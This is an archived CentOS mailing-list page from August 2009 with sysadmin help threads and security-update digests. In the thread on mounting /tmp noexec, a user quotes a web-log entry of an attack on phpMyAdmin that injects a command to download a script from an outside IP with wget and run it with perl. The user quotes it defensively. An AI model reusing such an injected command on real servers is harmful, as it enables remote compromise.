> Thanks for the links. I have already basically done everything > there and have the ms fonts. Unfortunately they look pretty bad.. I have not followed the thread carefully, but I've seen in a couple of screenshots that bitmaps fonts might have been used. Have you tried this? "ln -s /etc/fonts/conf.avail/70-no-bitmaps.conf /etc/fonts/conf.d/70-no-bitmaps" Cheers, R-C __________________________________________________________________ Get a sneak peak at messages with a handy reading pane with All new Yahoo! Mail: http://ca.promos.yahoo.com/newmail/overview2/

1 0

SELinux messages after compiling new kernel
by Sergio Belkin 27 Aug '09

27 Aug '09

Hi, I compiled a kernel from sources (2.6.30.5) and when system is booting shows these errors: SELinux: 61 classes, 69080 rules SELinux: class peer not defined in policy SELinux: class capability2 not defined in policy SELinux: class kernel_service not defined in policy SELinux: permission open in class dir not defined in policy SELinux: permission open in class file not defined in policy SELinux: permission open in class chr_file not defined in policy SELinux: permission open in class blk_file not defined in policy SELinux: permission open in class sock_file not defined in policy SELinux: permission open in class fifo_file not defined in policy SELinux: permission recvfrom in class node not defined in policy SELinux: permission sendto in class node not defined in policy SELinux: permission ingress in class netif not defined in policy SELinux: permission egress in class netif not defined in policy SELinux: permission setfcap in class capability not defined in policy SELinux: permission nlmsg_tty_audit in class netlink_audit_socket not defined in policy SELinux: permission forward_in in class packet not defined in policy SELinux: permission forward_out in class packet not defined in policy SELinux: the above unknown classes and permissions will be denied How can I fix these errors? Thanks in advance! -- -- Open Kairos http://www.openkairos.com Watch More TV http://sebelk.blogspot.com Sergio Belkin -

8 12

apache virtual host load monitoring
by Sergey Smirnov 27 Aug '09

27 Aug '09

Hi All, is there any tools/mods for apache2 which are you using to monitor the load of every virtual host? (e.g. mod_proctitle) thanks -- Sergey Smirnov email/xmpp: Sergey.A.Smirnov(a)Gmail.com

4 6

CentOS-announce Digest, Vol 54, Issue 12
by centos-announce-request＠centos.org 27 Aug '09

27 Aug '09

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2009:1232 Moderate CentOS 4 i386 gnutls Update (Johnny Hughes) 2. CESA-2009:1232 Moderate CentOS 4 x86_64 gnutls Update (Johnny Hughes) 3. CEBA-2009:1231 CentOS 4 i386 system-config-lvm Update (Johnny Hughes) 4. CEBA-2009:1231 CentOS 4 x86_64 system-config-lvm Update (Johnny Hughes) 5. CESA-2009:123 Moderate CentOS 5 i386 gnutls Update (Karanbir Singh) 6. CESA-2009:123 Moderate CentOS 5 x86_64 gnutls Update (Karanbir Singh) ---------------------------------------------------------------------- Message: 1 Date: Wed, 26 Aug 2009 14:50:26 -0500 From: Johnny Hughes <johnny(a)centos.org> Subject: [CentOS-announce] CESA-2009:1232 Moderate CentOS 4 i386 gnutls Update To: CentOS-Announce <centos-announce(a)centos.org> Message-ID: <4A959202.7040108(a)centos.org> Content-Type: text/plain; charset="iso-8859-1" CentOS Errata and Security Advisory 2009:1232 https://rhn.redhat.com/errata/RHSA-2009-1232.html The following updated files have been uploaded and are currently syncing to the mirrors: i386: gnutls-1.0.20-4.el4_8.3.i386.rpm gnutls-devel-1.0.20-4.el4_8.3.i386.rpm src: gnutls-1.0.20-4.el4_8.3.src.rpm

1 0

thinkpad x200 wireless LAN
by Roger K. Wells 27 Aug '09

27 Aug '09

On the following system: Linux 2.6.18-128.el5 #1 SMP Wed Jan 21 10:41:14 EST 2009 x86_64 x86_64 x86_64 GNU/Linux the Intel 5100 pci wireless adapter appears to be detected and a reasonable driver is indicated (iwlagn) but the radio does not appear to be on, at least the little antenna like LED is off. The radio switch is on and the Bluetooth LED is on. Has any one conquered this yet? -- Roger Wells, P.E. SAIC 221 Third St Newport, RI 02840 401-847-4210 (voice) 401-849-1585 (fax) roger.k.wells(a)saic.com

4 6

Source RPM issues. Mismatched Libs?
by Justin Bull 27 Aug '09

27 Aug '09

Hello, I am having some issues with the installation of the Icecast2 software on my CentOS 5.3 x64 machine. I am attempting to install from a source RPM provided by the developer. Upon executing: # rpmbuild --rebuild icecast-2.3.2-0.src.rpm Normal compilation takes place until the following error is thrown out: /usr/lib64/libxslt.so: undefined reference to `xmlXPathContextSetCache' I've done some research and found others have a similar issue. It appears this is only isolated with CentOS 5.x x64 builds and, according to the Icecast2 developer, is due to a mismatch between libxml2 and libxslt. My machine is a brand new install and is updated from the official mirrors. libxml2-devel and libxslt-devel are installed and are at their latest version (2.6.26-2.1.2.7.x86_64 and 1.1.17-2.el5_2.2.x86_64 respectively at the time of this writing). For anyone who is interested in reading up on this, here are the Icecast2 threads related to this issue: http://icecast.imux.net/viewtopic.php?t=4851 http://icecast.imux.net/viewtopic.php?t=6506 http://icecast.imux.net/viewtopic.php?t=6210 I do apologize if I've made any formating mistakes and/or incorrect posting etiquette to the mailing list, as it is my first time using one. -- Best Regards, Justin Bull http://www.sohipitmhz.com/pubkey.txt (Public Key)

5 5

saslauthd
by Michael Kress 27 Aug '09

27 Aug '09

Hello, I'm having trouble to get saslauthd running on a centos-5.3. I can't autheticate via testsaslauthd. Here's what I do using a fresh /etc/sasldb2: 1) start saslauthd in debug mode: saslauthd -d -a shadow -O /usr/lib64/sasl2/smtpd.conf -r -l 2) saslpasswd2 -c -a mail -u mail testuser 3) testsaslauthd -u testomat -p <mypassword> -s smtp -r mail shell output of testsaslauthd: 0: NO "authentication failed" shell output of saslauthd: [root@x02-new ~]# saslauthd -d -a shadow -O /usr/lib64/sasl2/smtpd.conf -r -l saslauthd[1936] :main : num_procs : 5 saslauthd[1936] :main : mech_option: /usr/lib64/sasl2/smtpd.conf saslauthd[1936] :main : run_path : /var/run/saslauthd saslauthd[1936] :main : auth_mech : shadow saslauthd[1936] :detach_tty : master pid is: 0 saslauthd[1936] :ipc_init : listening on socket: /var/run/saslauthd/mux saslauthd[1936] :main : using process model saslauthd[1936] :have_baby : forked child: 1937 saslauthd[1936] :have_baby : forked child: 1938 saslauthd[1936] :have_baby : forked child: 1939 saslauthd[1936] :have_baby : forked child: 1941 saslauthd[1937] :do_auth : auth failure: [user=testomat@mail] [service=smtp] [realm=mail] [mech=shadow] [reason=Unknown] saslauthd[1937] :do_request : response: NO output in /var/log/messages: Aug 26 07:41:31 x02-new saslauthd[1673]: server_exit : master exited: 0 Aug 26 07:41:33 x02-new saslauthd[1936]: detach_tty : master pid is: 0 Aug 26 07:41:33 x02-new saslauthd[1936]: ipc_init : listening on socket: /var/run/saslauthd/mux Aug 26 07:41:38 x02-new saslauthd[1937]: do_auth : auth failure: [user=testomat@mail] [service=smtp] [realm=mail] [mech=shadow] [reason=Unknown] output of saslfinger: ==================================================== #csaslfinger -s saslfinger - postfix Cyrus sasl configuration Mi 26. Aug 07:43:47 CEST 2009 version: 1.0.2 mode: server-side SMTP AUTH -- basics -- Postfix: 2.3.3 System: CentOS release 5.3 (Final) -- smtpd is linked to -- libsasl2.so.2 => /usr/lib64/libsasl2.so.2 (0x00002b0ffbdee000) -- active SMTP AUTH and TLS parameters for smtpd -- broken_sasl_auth_clients = yes smtpd_sasl_auth_enable = yes smtpd_sasl_local_domain = mail smtpd_sasl_security_options = noanonymous -- listing of /usr/lib64/sasl2 -- insgesamt 2916 drwxr-xr-x 2 root root 4096 26. Aug 07:34 . drwxr-xr-x 52 root root 20480 26. Aug 00:32 .. -rwxr-xr-x 1 root root 890 7. Jan 2007 libanonymous.la -rwxr-xr-x 1 root root 15880 7. Jan 2007 libanonymous.so -rwxr-xr-x 1 root root 15880 7. Jan 2007 libanonymous.so.2 -rwxr-xr-x 1 root root 15880 7. Jan 2007 libanonymous.so.2.0.22 -rwxr-xr-x 1 root root 862 7. Jan 2007 liblogin.la -rwxr-xr-x 1 root root 16480 7. Jan 2007 liblogin.so -rwxr-xr-x 1 root root 16480 7. Jan 2007 liblogin.so.2 -rwxr-xr-x 1 root root 16480 7. Jan 2007 liblogin.so.2.0.22 -rwxr-xr-x 1 root root 862 7. Jan 2007 libplain.la -rwxr-xr-x 1 root root 16448 7. Jan 2007 libplain.so -rwxr-xr-x 1 root root 16448 7. Jan 2007 libplain.so.2 -rwxr-xr-x 1 root root 16448 7. Jan 2007 libplain.so.2.0.22 -rwxr-xr-x 1 root root 936 7. Jan 2007 libsasldb.la -rwxr-xr-x 1 root root 892920 7. Jan 2007 libsasldb.so -rwxr-xr-x 1 root root 892920 7. Jan 2007 libsasldb.so.2 -rwxr-xr-x 1 root root 892920 7. Jan 2007 libsasldb.so.2.0.22 -rw-r--r-- 1 root root 167 26. Aug 07:34 smtpd.conf -- listing of /usr/lib/sasl2 -- insgesamt 2912 drwxr-xr-x 2 root root 4096 26. Aug 07:41 . drwxr-xr-x 30 root root 12288 26. Aug 00:33 .. -rwxr-xr-x 1 root root 884 7. Jan 2007 libanonymous.la -rwxr-xr-x 1 root root 14372 7. Jan 2007 libanonymous.so -rwxr-xr-x 1 root root 14372 7. Jan 2007 libanonymous.so.2 -rwxr-xr-x 1 root root 14372 7. Jan 2007 libanonymous.so.2.0.22 -rwxr-xr-x 1 root root 856 7. Jan 2007 liblogin.la -rwxr-xr-x 1 root root 14752 7. Jan 2007 liblogin.so -rwxr-xr-x 1 root root 14752 7. Jan 2007 liblogin.so.2 -rwxr-xr-x 1 root root 14752 7. Jan 2007 liblogin.so.2.0.22 -rwxr-xr-x 1 root root 856 7. Jan 2007 libplain.la -rwxr-xr-x 1 root root 14848 7. Jan 2007 libplain.so -rwxr-xr-x 1 root root 14848 7. Jan 2007 libplain.so.2 -rwxr-xr-x 1 root root 14848 7. Jan 2007 libplain.so.2.0.22 -rwxr-xr-x 1 root root 930 7. Jan 2007 libsasldb.la -rwxr-xr-x 1 root root 905200 7. Jan 2007 libsasldb.so -rwxr-xr-x 1 root root 905200 7. Jan 2007 libsasldb.so.2 -rwxr-xr-x 1 root root 905200 7. Jan 2007 libsasldb.so.2.0.22 -- listing of /etc/sasl2 -- insgesamt 24 drwxr-xr-x 2 root root 4096 26. Aug 07:36 . drwxr-xr-x 85 root root 12288 26. Aug 07:38 .. -- content of /usr/lib64/sasl2/smtpd.conf -- auto_transition: true pwcheck_method: auxprop saslauthd_version: 2 auxprop_plugin: sasldb allowanonymouslogin: 0 allowplaintext: 1 mech_list: PLAIN LOGIN log_level: 3 -- active services in /etc/postfix/master.cf -- # service type private unpriv chroot wakeup maxproc command + args # (yes) (yes) (yes) (never) (100) smtp inet n - n - - smtpd pickup fifo n - n 60 1 pickup cleanup unix n - n - 0 cleanup qmgr fifo n - n 300 1 qmgr tlsmgr unix - - n 1000? 1 tlsmgr rewrite unix - - n - - trivial-rewrite bounce unix - - n - 0 bounce defer unix - - n - 0 bounce trace unix - - n - 0 bounce verify unix - - n - 1 verify flush unix n - n 1000? 0 flush proxymap unix - - n - - proxymap smtp unix - - n - - smtp relay unix - - n - - smtp -o fallback_relay= showq unix n - n - - showq error unix - - n - - error discard unix - - n - - discard local unix - n n - - local virtual unix - n n - - virtual lmtp unix - - n - - lmtp anvil unix - - n - 1 anvil scache unix - - n - 1 scache maildrop unix - n n - - pipe flags=DRhu user=vmail argv=/usr/local/bin/maildrop -d ${recipient} old-cyrus unix - n n - - pipe flags=R user=cyrus argv=/usr/lib/cyrus-imapd/deliver -e -m ${extension} ${user} cyrus unix - n n - - pipe user=cyrus argv=/usr/lib/cyrus-imapd/deliver -e -r ${sender} -m ${extension} ${user} uucp unix - n n - - pipe flags=Fqhu user=uucp argv=uux -r -n -z -a$sender - $nexthop!rmail ($recipient) ifmail unix - n n - - pipe flags=F user=ftn argv=/usr/lib/ifmail/ifmail -r $nexthop ($recipient) bsmtp unix - n n - - pipe flags=Fq. user=foo argv=/usr/local/sbin/bsmtp -f $sender $nexthop $recipient -- mechanisms on localhost -- -- end of saslfinger output -- ==================================================== content of /etc/pam.d/smtp : #%PAM-1.0 auth include system-auth account include system-auth What's working well: testsaslauthd -u root -p <myrootpassword> -s smtp 0: OK "Success." I don't know what's going on - it seems that testsaslauthd doesn't lookup the user 'testomat' in /etc/sasldb2 Have you got an idea? - Thanks in advance Regards Michael

3 7

Crontab Nobody
by Anne Wilson 27 Aug '09

27 Aug '09

I have a crontab for Nobody. I tried to delete it in a root kcron, which I'm sure is how I dealt with this in the past, but it seems impossible to delete. Should I delete the file /var/spool/cron/nobody? It is owned root:root, perms 600. Anne -- New to KDE4? - get help from http://userbase.kde.org Just found a cool new feature? Add it to UserBase

2 2

Re: [CentOS] saslauthd
by Michael Kress 26 Aug '09

26 Aug '09

Hi, Kai Schaetzl wrote: >> I don't know what's going on - it seems that testsaslauthd doesn't >> lookup the user 'testomat' in /etc/sasldb2 > > Should it really do that with auth-mech=shadow? oh, I forgot to mention - of course I already tried that one: saslauthd -d -a pam -O /usr/lib64/sasl2/smtpd.conf -r -l Without success. Regards Michael

3 5

Apache and ASP or asp.net?
by Dave 26 Aug '09

26 Aug '09

Hello, Has anyone got this combination working? Thanks. Dave.

2 1

denyhosts configuration
by Dave 26 Aug '09

26 Aug '09

Hello, I've installed denyhosts on centos 5.3 trying to block automated attacks on ssh. It appears to be working in that entries are being added to /etc/hosts.deny yet the daily emails sent from denyhosts show only one ip being added perday when the total is many more than that. My config is below, i've gone over it and am not seeing what i missed. Suggestions welcome. I was also wondering if denyhosts can block other types of robot attacks such as smtp or port 80? Thanks. Dave. SECURE_LOG = /var/log/secure HOSTS_DENY = /etc/hosts.deny PURGE_DENY = 1w BLOCK_SERVICE = sshd DENY_THRESHOLD_INVALID = 2 DENY_THRESHOLD_VALID = 10 DENY_THRESHOLD_ROOT = 1 DENY_THRESHOLD_RESTRICTED = 1 WORK_DIR = /var/lib/denyhosts SUSPICIOUS_LOGIN_REPORT_ALLOWED_HOSTS=YES HOSTNAME_LOOKUP=NO LOCK_FILE = /var/lock/subsys/denyhosts ADMIN_EMAIL = user(a)example.com SMTP_HOST = localhost SMTP_PORT = 25 SMTP_FROM = DenyHosts <nobody(a)example.com> SMTP_SUBJECT = DenyHosts Report from $[HOSTNAME] AGE_RESET_VALID=5d AGE_RESET_ROOT=25d AGE_RESET_RESTRICTED=25d AGE_RESET_INVALID=10d DAEMON_LOG = /var/log/denyhosts DAEMON_SLEEP = 30s DAEMON_PURGE = SYNC_SERVER = http://xmlrpc.denyhosts.net:9911 SYNC_INTERVAL = 1h SYNC_UPLOAD = yes SYNC_DOWNLOAD = yes SYNC_DOWNLOAD_THRESHOLD = 3 SYNC_DOWNLOAD_RESILIENCY = 2h

2 1

Mounting /tmp nosuid,noexec
by Chuck 26 Aug '09

26 Aug '09

Does mounting /tmp as noexec,nosuid break anything in CentOS 5? I've been in solaris land forever and a day and this is a pretty standard security measure. I noticed CentOS comes default mounting /tmp with both those options allowed.. I'm getting constant php hack attacks against (mostly script kiddie level stuff right now) my server and will rest much easier with this setting in place.. We've been evaluating numerous wiki products which are certain to have security holes as well as pypmyadmin... Seeing a lot of crap like this: 193.253.240.85 - - [23/Aug/2009:16:57:57 -0500] "GET /phpmyadmin/config/config.inc.php?c=cd%20/tmp;rm%20-rf%20font-nix;wget%2078.46.33.52/font-nix;perl%20font-nix HTTP/1.1" 404 230 (of course I use cryptic names for my phpmyadmin install directory as well as password protect the directory and make any sensitive config files readable only by the web server owner) Thx for any info rhugga

3 2

Samba Question
by Rajagopal Swaminathan 26 Aug '09

26 Aug '09

Greetings, There is a requirement of Samba server with the following specification: There are two groups: Designers, Draftsmen The share folder hierarchy is Project-->Final Now the Designers groups should have rw rights for Projects and subfolders The draghtsmen should be able to upload only files (not folders) to Final subfolder. They are not allowed to modify/delete anything anywhere. They will not have any permission in project folder any ideas? Thanks and Regards Rajagopal

5 4

ssl certificate, maximum protection, on the budget?
by Dave 26 Aug '09

26 Aug '09

Hello, I've got a client who wants to go ssl. He's running a web server, smtp/pop, and ftps and imaps is coming as well. I'm looking for a wildcard ssl certificate i believe it's called but one on the budget plan. I am also wanting to ensure that the mod_ssl with httpd on the server is only using the strongest encryption methods and protocols. Thanks. Dave.

2 1

fasttest mirror -doesnt seem to pick sites near my region
by Linux Advocate 26 Aug '09

26 Aug '09

guys, i have the yum plugin -> fastest mirror . But not even once i have seen it selecting repos which are near my region such as japan or australia ( where i get the best speeds). Something is wrong. It seems stuck with these 3 sites ; Determining fastest mirrors * ftp-stud.fht-esslingen.de : 0.309373 secs * apt.sw.be : 0.483867 secs * fr2.rpmfind.net : 0.503842 secs

6 20

How to install kvm?
by Kanwar Ranbir Sandhu 26 Aug '09

26 Aug '09

Hello All, I want to install kvm in CentOS 5.3. The instructions on the wiki are fine and dandy, but the kmod-kvm package is for an older kernel. The box I want to install it on is up-to-date with the latest kernel packages. How do I install kvm on a fully updated CentOS 5.3 box? Is installing the older kernel my only option? BTW, I'd post this on the virt-list, but I have a hard time getting answers on that list. Regards, Ranbir -- Kanwar Ranbir Sandhu Linux 2.6.27.29-170.2.78.fc10.x86_64 x86_64 GNU/Linux 14:44:30 up 8 days, 15:41, 5 users, load average: 0.56, 0.22, 0.21

2 3

ath9k in CentOS 5
by James Szinger 26 Aug '09

26 Aug '09

Hi, I'm thinking about updating the wireless card on a CentOS 5.3 box. The Wiki at http://wiki.centos.org/HowTos/Laptops/Wireless says that the "ath9k driver ships with CentOS", but I can't find it. I've tried modinfo, locate, yum search, and yum provides, but they all come up empty. Am I missing something, or is the Wiki need correcting? I've also searched the CentOS forums and others share my confusion. Thanks, Jim

2 1

Auto update
by Morrien, Rob 25 Aug '09

25 Aug '09

Hello, at this moment we use redhat and centos on mylaptop. I upgraded from centos 5.2 to 5.3. I have something strange, my auto update is not running any more, if I start the update process manually and it is working. If i do a clean install of centos 5.3 on a pc or laptop it is working. My question is why is the auto update not running any more afther the update process. Met vriendelijke groet/With kind regards, Rob Morrien EDS, an HP company ABN AMRO account IE NL Gondel 1 1186 MJ Amstelveen The Netherlands Tel: +31 887 503052 Mobile: +31 6 51300616 E-mail: rob.morrien(a)eds.com -->>> ( On Friday i am not in the office ) <<< ----- We deliver on our commitments so you can deliver on yours

5 6

Tomcat 6 and Java 1.6
by CentOS List 25 Aug '09

25 Aug '09

Hi, Is there any yum repo which contains tomcat 6 and java 1.6? Thanks Regards WL

5 19

Dual Booting Question
by Michael Wright 25 Aug '09

25 Aug '09

Hi List I'm new to centos i'm also on the forum but my question is how do i do a dual boot say windows/centos i no i have to partition the harddrive can i do this in centos..\ could someone help us out Mike

7 10

Thunderbird installed for python dependency?
by Bowie Bailey 25 Aug '09

25 Aug '09

I was starting to run a yum update on one of my servers and noticed that it wanted to install Thunderbird for some reason. Running yum with the '-v' option gave this output: gamin-python-0.1.7-8.el5.i386 requires: /usr/lib/python2.4 --> Processing Dependency: /usr/lib/python2.4 for package: gamin-python Needed Require is not a package name. Looking up: /usr/lib/python2.4 Potential Provider: python.i386 0:2.4.3-24.el5 Mode is u for provider of /usr/lib/python2.4: python.i386 0:2.4.3-24.el5 Mode for pkg providing /usr/lib/python2.4: u Cannot find an update path for dep for: /usr/lib/python2.4 Searching pkgSack for dep: /usr/lib/python2.4 Potential match for /usr/lib/python2.4 from python-2.4.3-24.el5.i386 Potential match for /usr/lib/python2.4 from thunderbird-2.0.0.22-2.el5.centos.i386 python-2.4.3-24.el5.i386 is in providing packages but it is already installed, removing. TSINFO: Marking thunderbird-2.0.0.22-2.el5.centos.i386 as install for gamin-python-0.1.7-8.el5.i386 Why is it trying to get the python lib from Thunderbird when the Python package is already installed? I don't really want Thunderbird installed on a server. Any suggestions? Thanks -- Bowie

5 5

Terminal emulation and serial ports
by Robert Moskowitz 25 Aug '09

25 Aug '09

I have to reinit a firewall that can only be done from its console port, and I do not have an XP system with Hyperterminal on it. So I went through the archive and learned that minicom could do the job for me. I installed it and went to configure it (minicom -s). I can set the speeds, but the challenge is selecting the serial device. I have a Serial-to-USB dongle, and when I connect it, the gnome hardware browser is showing a FIDI usb serial converter that was not there before connecting the dongle. But what /dev/thingee do I put into the minicom configuration?

4 5

Re: [CentOS] unknown connection
by Bowie Bailey 25 Aug '09

25 Aug '09

Manuel Monteiro wrote: > > Hello, > > > > Today I updated one of our computers running CentOS 5.3 32bit. After a > reboot I notice the following with lsof –i > > > > sshd 3638 root 3u IPv6 17317 TCP > pc46.astro.up.pt:ssh->119.1.193.205:zephyr-clt (ESTABLISHED) > > sshd 3639 sshd 3u IPv6 17317 TCP > pc46.astro.up.pt:ssh->119.1.193.205:zephyr-clt (ESTABLISHED) > > > > What is this connection? > > > > IPtables is on and SELinux is on enforcing mode. > Looks like an ssh connection from 119.1.193.205 port 2103 (defined as "zephyr-clt" in /etc/services). -- Bowie

2 1

unknown connection
by Manuel Monteiro 25 Aug '09

25 Aug '09

Hello, Today I updated one of our computers running CentOS 5.3 32bit. After a reboot I notice the following with lsof -i sshd 3638 root 3u IPv6 17317 TCP pc46.astro.up.pt:ssh->119.1.193.205:zephyr-clt (ESTABLISHED) sshd 3639 sshd 3u IPv6 17317 TCP pc46.astro.up.pt:ssh->119.1.193.205:zephyr-clt (ESTABLISHED) What is this connection? IPtables is on and SELinux is on enforcing mode. Thanks, Manuel Monteiro

1 0

CentOS-announce Digest, Vol 54, Issue 11
by centos-announce-request＠centos.org 25 Aug '09

25 Aug '09

Send CentOS-announce mailing list submissions to centos-announce(a)centos.org To subscribe or unsubscribe via the World Wide Web, visit http://lists.centos.org/mailman/listinfo/centos-announce or, via email, send a message with subject or body 'help' to centos-announce-request(a)centos.org You can reach the person managing the list at centos-announce-owner(a)centos.org When replying, please edit your Subject line so it is more specific than "Re: Contents of CentOS-announce digest..." Today's Topics: 1. CESA-2009:1222 Important CentOS 5 i386 kernel Update (Karanbir Singh) 2. CESA-2009:1222 Important CentOS 5 x86_64 kernel Update (Karanbir Singh) ---------------------------------------------------------------------- Message: 1 Date: Mon, 24 Aug 2009 19:35:59 +0000 From: Karanbir Singh <kbsingh(a)centos.org> Subject: [CentOS-announce] CESA-2009:1222 Important CentOS 5 i386 kernel Update To: centos-announce(a)centos.org Message-ID: <20090824193559.GA1073(a)tantra.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2009:1222 Important Upstream details at : https://rhn.redhat.com/errata/RHSA-2009-1222.html The following updated files have been uploaded and are currently syncing to the mirrors: ( md5sum Filename ) i386: 229ffdd6e1c4ef228b519298d9aef095 kernel-2.6.18-128.7.1.el5.i686.rpm dec5d22af821cd3223677c07a6c46e20 kernel-debug-2.6.18-128.7.1.el5.i686.rpm 9d6596fb291c21ec81a50616c153b5ae kernel-debug-devel-2.6.18-128.7.1.el5.i686.rpm 8d206b5c5d9d6f544b1fc082c79f698c kernel-devel-2.6.18-128.7.1.el5.i686.rpm 07bd3312874c7110530bab61b01baf06 kernel-doc-2.6.18-128.7.1.el5.noarch.rpm dd3e3430535e7c6905adcf54cd982c72 kernel-headers-2.6.18-128.7.1.el5.i386.rpm ff19b5a51fcc2f4a7e514807d79e7c97 kernel-PAE-2.6.18-128.7.1.el5.i686.rpm d65893ebb79361fda3e3b78d4e2fdaf3 kernel-PAE-devel-2.6.18-128.7.1.el5.i686.rpm a7e59c15d2e94d2c304fd554dcbda582 kernel-xen-2.6.18-128.7.1.el5.i686.rpm 933e14b5610edf4a83d85dfaf13aaba7 kernel-xen-devel-2.6.18-128.7.1.el5.i686.rpm Source: 6f2a1a5d7d602684880454cd3bbe00e6 kernel-2.6.18-128.7.1.el5.src.rpm -- Karanbir Singh CentOS Project { http://www.centos.org/ } irc: z00dax, #centos(a)irc.freenode.net ------------------------------ Message: 2 Date: Mon, 24 Aug 2009 19:36:02 +0000 From: Karanbir Singh <kbsingh(a)centos.org> Subject: [CentOS-announce] CESA-2009:1222 Important CentOS 5 x86_64 kernel Update To: centos-announce(a)centos.org Message-ID: <20090824193602.GA1088(a)tantra.karan.org> Content-Type: text/plain; charset=us-ascii CentOS Errata and Security Advisory 2009:1222 Important Upstream details at : https://rhn.redhat.com/errata/RHSA-2009-1222.html The following updated files have been uploaded and are currently syncing to the mirrors: ( md5sum Filename ) x86_64: 90c9aa3034be5545a946ce13259a1590 kernel-2.6.18-128.7.1.el5.x86_64.rpm 98fe46baaef4f807ad3719f5bd3d0ccd kernel-debug-2.6.18-128.7.1.el5.x86_64.rpm 0d9e47b8cdcfe760e9a32807353caafe kernel-debug-devel-2.6.18-128.7.1.el5.x86_64.rpm 3ff5c6b8f8aa9a5bb392457d3f74ad53 kernel-devel-2.6.18-128.7.1.el5.x86_64.rpm 75cf07d4d6bd79f1d55c0499e74fb165 kernel-doc-2.6.18-128.7.1.el5.noarch.rpm ebaa6c16aec77563cccabff44829e802 kernel-headers-2.6.18-128.7.1.el5.x86_64.rpm 516e1ce8ad2146d43cc6b10d9c8c54b7 kernel-xen-2.6.18-128.7.1.el5.x86_64.rpm 3619c010401c79bc1222e23dd6388993 kernel-xen-devel-2.6.18-128.7.1.el5.x86_64.rpm Source: 6f2a1a5d7d602684880454cd3bbe00e6 kernel-2.6.18-128.7.1.el5.src.rpm -- Karanbir Singh CentOS Project { http://www.centos.org/ } irc: z00dax, #centos(a)irc.freenode.net ------------------------------ _______________________________________________ CentOS-announce mailing list CentOS-announce(a)centos.org http://lists.centos.org/mailman/listinfo/centos-announce End of CentOS-announce Digest, Vol 54, Issue 11 ***********************************************

1 0

anaconda and x86_64
by lhecking＠users.sourceforge.net 25 Aug '09

25 Aug '09

I'm trying to build a bugfixed anaconda package for 5.3 x84_64, but there are some fairly basic failures, like pkg-config .pc files not being found. When I modify the spec file accordingly, linking fails because installed libraries are not found. $ rpmbuild -ba anaconda.spec Executing(%prep): /bin/sh -e /var/tmp/rpm-tmp.25019 + umask 022 + cd /usr/src/redhat/BUILD + LANG=C + export LANG + unset DISPLAY + cd /usr/src/redhat/BUILD + rm -rf anaconda-11.1.2.168 + /usr/bin/bzip2 -dc /usr/src/redhat/SOURCES/anaconda-11.1.2.168.tar.bz2 + tar -xf - ... for d in isys wlite stubs loader2 po textw utils scripts bootdisk installclasses iw pixmaps isomd5sum command-stubs ui fonts; do make -C $d depend; done make[1]: Entering directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/isys' grep NFS_MOUNT_VERSION /usr/include/linux/nfs_mount.h | sed -e 's/NFS/KERNEL_NFS/' > nfs_mountversion.h Package libdhcp6client was not found in the pkg-config search path. Perhaps you should add the directory containing `libdhcp6client.pc' to the PKG_CONFIG_PATH environment variable Package 'libdhcp6client', required by 'libdhcp', not found cc -E -M -O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector --param=ssp-buffer-size=4 -m64 -mtune=generic -Wall -Werror -D_GNU_SOURCE =1 -D_FILE_OFFSET_BITS=64 -D_LARGEFILE_SOURCE=1 -D_LARGEFILE64_SOURCE=1 -DUSESELINUX=1 -I/usr/include/python2.4 -I.. -DHAVE_NFS nfsmount.c nfsmount_clnt.c nfsmount_xdr.c imount.c smp.c devnodes.c cpio.c uncpio.c dasd.c lang.c isofs.c dns.c linkdetect.c vio.c ethtool.c wireless.c eddsupport.c nl.c str.c auditd. c isys.c > .depend In file included from isys.c:55: /usr/include/libdhcp/pump.h:78:22: error: dhcp_nic.h: No such file or directory make[1]: *** [depend] Error 1 make[1]: Leaving directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/isys' make[1]: Entering directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/wlite' make[1]: *** No rule to make target `depend'. Stop. make[1]: Leaving directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/wlite' make[1]: Entering directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/stubs' make[1]: Nothing to be done for `depend'. make[1]: Leaving directory `/usr/src/redhat/BUILD/anaconda-11.1.2.168/stubs' Package libdhcp6client was not found in the pkg-config search path. Perhaps you should add the directory containing `libdhcp6client.pc' to the PKG_CONFIG_PATH environment variable Package 'libdhcp6client', required by 'libdhcp', not found ... etc. Any ideas how to fix this? The same package builds find under i386. --------------------------------------------------------------- This message and any attachments may contain Cypress (or its subsidiaries) confidential information. If it has been received in error, please advise the sender and immediately delete this message. ---------------------------------------------------------------

3 10

self signing certificates
by James B. Byrne 25 Aug '09

25 Aug '09

> From: Jerry Geis <geisj(a)pagestation.com> > To: CentOS ML <centos(a)centos.org> > Sent: Monday, 24 August, 2009 14:32:00 > Subject: [CentOS] self signing certificates > > hi all, > > I have gone through the process of self signing certificates. > Aside from the pop-ups about not trusted etc... everything > appears to work. > > For "internal" applications what do people/places do? > It would be nice to be seamless and have the "your not trusted" > window pop-up. > As someone else previously detailed, you really need to have a root signing CA that only signs certs for your issuing CAs and then use the issuing CAs to sign end use certificates of whatever types you deem appropriate. It is considered required practice that root CA and issuing CAs must be physically isolated from all network connections and that floppy or sneaker net must be used to handle incoming CSR and outgoing CERTS. If you are simply using certs for encryption and not for authentication then this practice probably can be safely dispensed with. If you ARE using certs for authentication then this provision is absolutely required. The arrangement of self-signed root CA <--CSR--- Issuing CA <--CSR--- end-user is now critical for Firefox users. Releases in the 3.x series will no longer trust any self-signed CA certificate. So, to avoid the warning box in Firefox you must have the end use certificates signed by an intermediate CA whose own certificate may however be signed by a self-signed root. > Yet this is not a public web site either. Just internal use. > The server might be on the internet but people from the internet > are not using it. > Well, the available software has no way of figuring that out for itself, so it makes no difference. And, to be precise, "people from the internet should not be using it", which is rather a different thing. > I presume there is no way to by-pass the certificate signing > process - even for internal apps. > Is there? > Not unless you can live with the warning boxes. -- *** E-Mail is NOT a SECURE channel *** James B. Byrne mailto:ByrneJB@Harte-Lyne.ca Harte & Lyne Limited http://www.harte-lyne.ca 9 Brockley Drive vox: +1 905 561 